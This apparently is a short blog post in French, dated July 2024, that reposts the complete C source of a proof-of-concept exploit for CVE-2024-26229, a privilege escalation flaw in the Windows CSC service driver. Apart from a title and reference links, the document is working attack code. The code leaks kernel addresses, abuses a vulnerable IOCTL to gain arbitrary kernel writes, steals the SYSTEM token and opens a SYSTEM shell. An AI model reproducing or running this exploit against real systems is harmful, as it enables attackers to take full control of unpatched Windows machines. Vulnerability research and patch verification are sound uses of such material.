jeudi 4 juillet 2024

Vulnérabilité d’élévation de privilèges dans le service CSC de Windows CVE-2024-26229

Microsoft Windows CSC Service Elevation of Privilege Vulnerability Exploit

https://www.coresecurity.com/core-labs/exploits

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26229

https://www.cve.org/CVERecord?id=CVE-2024-26229

https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c

/* 

PoC Info

-------------------------------------------

Vulnerability: CVE-2024-26229

Environment: Windows 11 22h2 Build 22621

-------------------------------------------

*/

#include <Windows.h>

#include <stdio.h>

#include <winternl.h>

#include <stdint.h>


// I use ntdllp.lib private library from WDK to avoid GetProcAddress for Nt* functions

#pragma comment(lib, "ntdllp.lib")

#define STATUS_SUCCESS 0


#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)

#define EPROCESS_TOKEN_OFFSET                   0x4B8

#define KTHREAD_PREVIOUS_MODE_OFFSET            0x232

#define CSC_DEV_FCB_XXX_CONTROL_FILE            0x001401a3 // vuln ioctl


#define SystemHandleInformation                 0x10

#define SystemHandleInformationSize             0x400000 


enum _MODE

{

KernelMode = 0,

UserMode = 1

};


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO

{

USHORT UniqueProcessId;

USHORT CreatorBackTraceIndex;

UCHAR ObjectTypeIndex;

UCHAR HandleAttributes;

USHORT HandleValue;

PVOID Object;

ULONG GrantedAccess;

} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;


typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG NumberOfHandles;

SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;



//

// Get the kernel object pointer for the specific process by it's handle

// 

int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)


{

int32_t Ret = -1;

PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;

ULONG ulBytes = 0;

NTSTATUS Status = STATUS_SUCCESS;


    //

    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH

    //

while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)

{

if (pHandleInfo != NULL)

{

pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);

}


else

{

pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);

}

}


if (Status != NULL)

{

Ret = Status;

goto done;

}


for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)

{

if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))

{

*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;

Ret = 0;

break;

}

}


done:

if (pHandleInfo != NULL)

{

HeapFree(GetProcessHeap, 0, pHandleInfo);

}

return Ret;

}


//

// A wrapper to make arbitrary writes to the whole system memory address space

//

NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)

{

NTSTATUS Status = 0;

size_t cbNumOfBytesWrite = 0;


Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);

if (!NT_SUCCESS(Status)) 

    {

return -1;

}

return Status;

}


//

//

//

NTSTATUS Exploit()

{

UNICODE_STRING  objectName = { 0 };

OBJECT_ATTRIBUTES objectAttr = { 0 };

IO_STATUS_BLOCK iosb = { 0 };

HANDLE handle;

NTSTATUS status = 0;


//

// Initialize kernel objects to leak

//

uintptr_t Sysproc = 0;

uintptr_t Curproc = 0;

uintptr_t Curthread = 0;

uintptr_t Token = 0;


HANDLE hCurproc = 0;

HANDLE hThread = 0;

uint32_t Ret = 0;

uint8_t mode = UserMode;


RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");

InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);

if (!NT_SUCCESS(status))

{

printf("[-] NtCreateFile failed with status = %x\n", status);

return status;

}


//

// Leak System _EPROCESS kernel address

// 

Ret = GetObjPtr(&Sysproc, 4, 4);

if (Ret != NULL)

{

return Ret;

}

printf("[+] System EPROCESS address = %llx\n", Sysproc);


//

// Leak current _KTHREAD kernel address

//

hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());

if (hThread != NULL)

{

Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);

if (Ret != NULL)

{

return Ret;

}

printf("[+] Current THREAD address = %llx\n", Curthread);

}


//

// Leak current _EPROCESS kernel address

//

hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());

if (hCurproc != NULL)

{

Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);

if (Ret != NULL)

{

return Ret;

}

printf("[+] Current EPROCESS address = %llx\n", Curproc);

}


//

// Sending the payload to the csc.sys driver to trigger the bug

//

status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);

if (!NT_SUCCESS(status))

{

printf("[-] NtFsControlFile failed with status = %x\n", status);

return status;

}


printf("[!] Leveraging DKOM to achieve LPE\n");

printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);


//

// Restoring KTHREAD->PreviousMode

//

Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);


//

// spawn the shell with "nt authority\system"

//


system("cmd.exe");


return STATUS_SUCCESS;

}



int main()

{

NTSTATUS status = 0;

status = Exploit();


return status;

}